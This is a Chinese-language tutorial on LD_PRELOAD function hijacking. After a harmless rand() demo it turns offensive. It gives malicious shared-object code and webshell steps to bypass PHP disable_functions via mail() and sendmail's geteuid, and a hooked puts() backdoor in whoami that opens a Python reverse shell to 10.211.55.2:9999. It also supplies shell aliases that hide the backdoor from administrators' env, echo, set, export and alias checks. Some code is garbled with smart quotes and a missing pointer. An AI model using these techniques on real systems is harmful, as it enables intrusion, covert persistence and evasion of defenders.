共计 9649 个字符,预计需要花费 25 分钟才能阅读完成。
LD_PRELOAD 在 Linux 中的作用
LD_PRELOAD 是 Linux 系统中常用的环境变量,用于在程序运行时 预加载指定的共享库(.so 文件)。
它的主要作用是在程序启动前,将用户指定的动态链接库优先加载到进程的地址空间中,从而可以 覆盖或拦截标准库函数的行为。
.so(共享对象)文件中通常封装了一些可被其他程序调用的函数、变量或符号,目的是实现代码复用、模块化和动态链接。类似 Windows 的 DLL基本原理
Linux 中的程序通常会动态链接到系统库(如 libc.so)。当程序调用某个函数(比如 malloc、open、printf 等),动态链接器(ld-linux.so)会在运行时解析这些符号并绑定到对应的实现。
LD_PRELOAD 的工作机制是:
- 在程序启动时,动态链接器会 优先加载
LD_PRELOAD指定的共享库; - 如果该库中定义了与标准库同名的函数,那么程序在调用该函数时,会 优先使用预加载库中的版本,而不是标准库中的原始实现。
这就是 LD_PRELOAD 劫持的基本原理
我们先用一个简单的例子来演示 LD_PRELOAD
LD_PRELOAD=$PWD/1111.so ./1234 // 这样就先当于在运行 1234 前动态加载 1111.so,但下一次就不会了
export LD_PRELOAD=$PWD/1111.so // 这里就先当于设置了全局环境变量,对所有都有约束
unset LD_PRELOAD // 这个就可以恢复最初的
/***********************************************************************
*
* Project: guessing_game
*
* Author: Travis Phillips
*
* Date: 10/24/2020
*
* Project Repo:
* https://github.com/ProfessionallyEvil/LD_PRELOAD-rand-Hijack-Example
*
* Purpose: This is code for a simple random number guessing game for
* a blog post on using LD_PRELOAD to hijack functions in an
* application, in this case, hijacking rand()
*
* Compile: gcc guessing_game.c -o guessing_game
*
***********************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
/////////////////////////////////
// App Constants
/////////////////////////////////
const char *TITLE = "Number Guessing Game";
const char *VER = "v1.0";
/////////////////////////////////
// Color Constants
/////////////////////////////////
#ifdef NOCOLOR
const char *RED = "";
const char *GREEN = "";
const char *YELLOW = "";
const char *NC = "";
#else
const char *RED = "33[31;1m";
const char *GREEN = "33[32;1m";
const char *YELLOW = "33[33;1m";
const char *NC = "33[0m";
#endif
int main(int argc, char **argv) {
//////////////////////////////////////////////////////////////////
// Initalize Variables.
//////////////////////////////////////////////////////////////////
unsigned int rand_num = 0;
unsigned int user_guess = 0;
time_t t = 0;
//////////////////////////////////////////////////////////////////
// Print the banner.
//////////////////////////////////////////////////////////////////
printf("nt%s---===[ %s %s]===---%snn", YELLOW, TITLE, VER, NC);
//////////////////////////////////////////////////////////////////
// Get the user's guess.
//////////////////////////////////////////////////////////////////
printf("[?] Guess a number between 0-31337 >");
if (!scanf("%u", &user_guess) || user_guess > 31337) {printf("[%s!%s] %sERROR:%s Invalid input.nn", RED, NC, RED, NC);
return 1;
}
//////////////////////////////////////////////////////////////////
// Seed the random number generator with the current time.
//////////////////////////////////////////////////////////////////
srand((unsigned int) time(&t));
//////////////////////////////////////////////////////////////////
// Now get a random number between 1 and 31337.
//////////////////////////////////////////////////////////////////
rand_num = rand() % 31338;
//////////////////////////////////////////////////////////////////
// Print the variables if this is a debug build.
//////////////////////////////////////////////////////////////////
#ifdef DEBUG
printf("[DEBUG] user_guess => %dn", user_guess);
printf("[DEBUG] rand_num => %dn", rand_num);
#endif
//////////////////////////////////////////////////////////////////
// See if the users number is equal to the number generated. If
// so, let the user know they won.
//////////////////////////////////////////////////////////////////
if (user_guess == rand_num){printf("[%s+%s] %sYou Win! :-)%snn", GREEN, NC, GREEN, NC);
return 0;
}
//////////////////////////////////////////////////////////////////
// The user guessed wrong, let them know the lost.
//////////////////////////////////////////////////////////////////
printf("[%s-%s] %sYou lose. :-(%snn", RED, NC, RED, NC);
return 1;
}
这是一个简单的猜数字游戏,调用了 rand()函数来生成随机数

可以看到生成的数字是随机的,现在我们利用 LD_PRELOAD 来劫持 rand()函数
/***********************************************************************
*
* Project: rand_hijack.so
*
* Author: Travis Phillips
*
* Date: 10/24/2020
*
* Project Repo:
* https://github.com/ProfessionallyEvil/LD_PRELOAD-rand-Hijack-Example
*
* Purpose: This is simple code for a LD_PRELOAD shared object that
* will make the call to rand() always return a static value
* of 42. We will use this to cheat in the number guessing
* game by making it not-so-random anymore.
*
* Compile: gcc -FPIC -shared rand_hijack.c -o rand_hijack.so
*
***********************************************************************/
#include <stdio.h>
// Our version of rand() to hijack random number generation with.
int rand(void) {return 42; // The answer is always 42. It's always 42...}
将他编译成.so 文件
gcc -Wall -O3 -FPIC -shared src/rand_hijack.c -o rand_hijack.so
然后设置环境变量
export LD_PRELOAD=$PWD/rand_hijack.so

再次游戏后我们可以看到,每次 随机 的值都是 42,说明我们已经成功劫持 rand()函数
LD_PRELOAD 绕 disable_function
php.ini 文件里面可以设置禁用函数。
虽然禁用了 system 等可以直接执行命令的函数但是我们可以控制环境变量(如:putenv 等)来指定 LD_PRELOAD 实现加载恶意的 so 文件,而他的优先级肯定是高于 php.ini 的 disable_function 所以实现了 disable_function 的 bypass
加载顺序:LD_PRELOAD > LD_LIBRARY_PATH > /etc/ld.so.cache > /lib>/usr/lib
假设我们现在有了一个 webshell,但是打开了 disable_function。
那么我们可以去查看 php 的一些函数调用了哪些库函数
比如使用了 mail()函数,我们就可以去劫持 sendmail 的库函数然后触发 mail()
使用 readelf -Ws /usr/sbin/sendmail 命令来查看 sendmail 命令使用了哪些库函数
#mail.php
php
<?php
mail("a@localhost","","","","");
?>
strace -f php mail.php 2>&1 | grep -A2 -B2 execve

可以看到 execve 所执行的动态链接库为 sendmail
readelf -Ws /usr/sbin/sendmail
Symbol table '.dynsym' contains 350 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 000000000000c360 0 SECTION LOCAL DEFAULT 11
2: 00000000000db000 0 SECTION LOCAL DEFAULT 23
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __fxstat@GLIBC_2.17 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND tzset@GLIBC_2.17 (2)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND socket@GLIBC_2.17 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND OPENSSL_init_crypto@OPENSSL_1_1_0 (3)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND srandom@GLIBC_2.17 (2)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_set_accept_state@OPENSSL_1_1_0 (4)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND memcpy@GLIBC_2.17 (2)
10: 0000000000000000 0 FUNC GLOBAL DEFAULT UND BN_bin2bn@OPENSSL_1_1_0 (3)
11: 0000000000000000 0 FUNC GLOBAL DEFAULT UND nis_list@LIBNSL_1.0 (5)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_shutdown@OPENSSL_1_1_0 (4)
13: 0000000000000000 0 FUNC GLOBAL DEFAULT UND select@GLIBC_2.17 (2)
14: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sasl_setprop@SASL2 (6)
15: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getpwnam@GLIBC_2.17 (2)
16: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fchmod@GLIBC_2.17 (2)
17: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fread@GLIBC_2.17 (2)
18: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strstr@GLIBC_2.17 (2)
19: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __fdelt_chk@GLIBC_2.17 (2)
20: 0000000000000000 0 FUNC GLOBAL DEFAULT UND BIO_free@OPENSSL_1_1_0 (3)
21: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getgid@GLIBC_2.17 (2)
22: 0000000000000000 0 FUNC GLOBAL DEFAULT UND readlink@GLIBC_2.17 (2)
23: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sasl_decode64@SASL2 (6)
24: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ldap_bind_s@OPENLDAP_2.4_2 (7)
25: 0000000000000000 0 FUNC GLOBAL DEFAULT UND regerror@GLIBC_2.17 (2)
26: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_CRL_free@OPENSSL_1_1_0 (3)
27: 0000000000000000 0 OBJECT GLOBAL DEFAULT UND __environ@GLIBC_2.17 (2)
28: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sasl_server_start@SASL2 (6)
……
从中选取一个适合的库函数来进行劫持测试, 最终选择到的是第 82 行的 getuid
65: 0000000000000000 0 FUNC GLOBAL DEFAULT UND geteuid@GLIBC_2.17 (2)
编写恶意 so -> 通过 putenv 来设置 LD_PRELOAD 变量 -> 触发 mail 函数来调用我们编写的恶意 so
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {system("id > /tmp/evil.txt");
}
int geteuid()
{if (getenv("LD_PRELOAD") == NULL) {return 0;}
unsetenv("LD_PRELOAD");
payload();}
劫持 sendmail 使用的 geteuid 库函数,在其中调用 payload()函数
payload()函数执行 id 命令输出到 /tmp/evil.txt 进行测试
在一个与目标机器系统环境相近的环境下进行编译
gcc -c -fPIC evil.c -o evil
gcc -shared evil -o evil.so
把 evil.so 进行 base64 编码,利用 webshell,通过 file_put_contents 写入恶意 so
PostData:
1=file_put_contents('/tmp/evil.so',base64_decode(''))
写一点代码
<?php
put_env("LD_PRELOAD=/tmp/evil.so");
mail("mo60@localhost","","");
?>
将这段代码 base64 后写入文件随后访问,如果使用命令行在编码时需要注意转义引号
echo "<?php
putenv("LD_PRELOAD=/var/www/hack.so");
mail("a@localhost","","","","");
?>"|base64
PD9waHAKcHV0ZW52KCJMRF9QUkVMT0FEPS92YXIvd3d3L2hhY2suc28iKTsKbWFpbCgiYUBsb2NhbGhvc3QiLCIiLCIiLCIiLCIiKTsKPz4K
我们都知道蚁剑自带一个绕 disable_function
它的原理就是上传恶意 so 文件执行命令开一个新的 php 服务(没有 disable_function),然后开启一个代理访问这个 php 服务
除开使用插件外自己手动劫持还是有点麻烦的,那么有什么简单点的办法
我们可以通过 attribute 来进行 LD_PRELOAD 劫持
GCC 有个 C 语言扩展修饰符 attribute((constructor)),可以让由它修饰的函数在 main() 之前执行,一旦某些指令需要加载动态链接库时,就会立即执行它
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){unsetenv("LD_PRELOAD");
printf("i am hacker!!n"); // 这里可以进行修改
}

可以看到所有的命令执行都触发了危险的函数
NOTICE:so 文件的后缀名实际上可以为任意后缀,这样可以绕过一些文件上传的限制
所以:绕 disable_function 流程就是
寻找要劫持的函数源码插入恶意代码,编译恶意 so 文件
file_put_content 写入 so 文件劫持 mail 函数或者其他函数
调用函数触发恶意代码
LD_PRELOAD 后渗透利用
既然 LD_PRELOAD 可以在运行命令前执行自己隐藏的命令。那么显然我们可以利用 LD_PRELOAD 留下隐蔽持久化后门比如我们劫持 whoami 命令
┌──(kali ㉿ Rycarl)-[~]
└─$ readelf -Ws /bin/whoami|grep puts
10: 0000000000000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.2.5 (2)
28: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs_unlocked@GLIBC_2.2.5 (2)
整体逻辑如下:
- 覆盖 puts 函数并在内部重写
- 把原函数指针赋值给一个变量
- 执行后门代码
- 执行原函数
- 正常返回值
劫持后的代码#include <stdio.h> #include <unistd.h> #include <dlfcn.h> #include <stdlib.h>
int puts(const char message) {
int (new_puts)(const char *message);
int result;
new_puts = dlsym(RTLD_NEXT, “puts”);
system(“python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.211.55.2”,9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);'”);
result = new_puts(message);
return result;
}
但是 LD_PRELOAD 劫持也十分常见,所以往往很容易被发现
防守方可以使用
```bash
env
echo $LD_PRELOAD
set
export
等命令发现后门,我们可以尝试使用 alias 来把和后门有关的字段置空达到隐蔽
比如
alias echo='func(){ echo $* | sed"s!/root/hook.so! !g";};func'
alias env='func(){ env $* | grep -v"/root/hook.so";};func'
alias set='func(){ set $* | grep -v"/root/hook.so";};func'
alias export='func(){ export $* | grep -v"/root/hook.so";};func'
alias alias='func(){ alias"$@"| grep -v unalias | grep -v hook.so;};func'
alias unalias='func(){ if [ $# != 0]; then if [$* !="echo"]&&[$* !="env"]&&[$* !="set"]&&[$* !="export"]&&[$* !="alias"]&&[$* !="unalias"]; then unalias $*;else echo"-bash: unalias: ${*}: not found";fi;else echo"unalias: usage: unalias [-a] name [name ...]";fi;};func'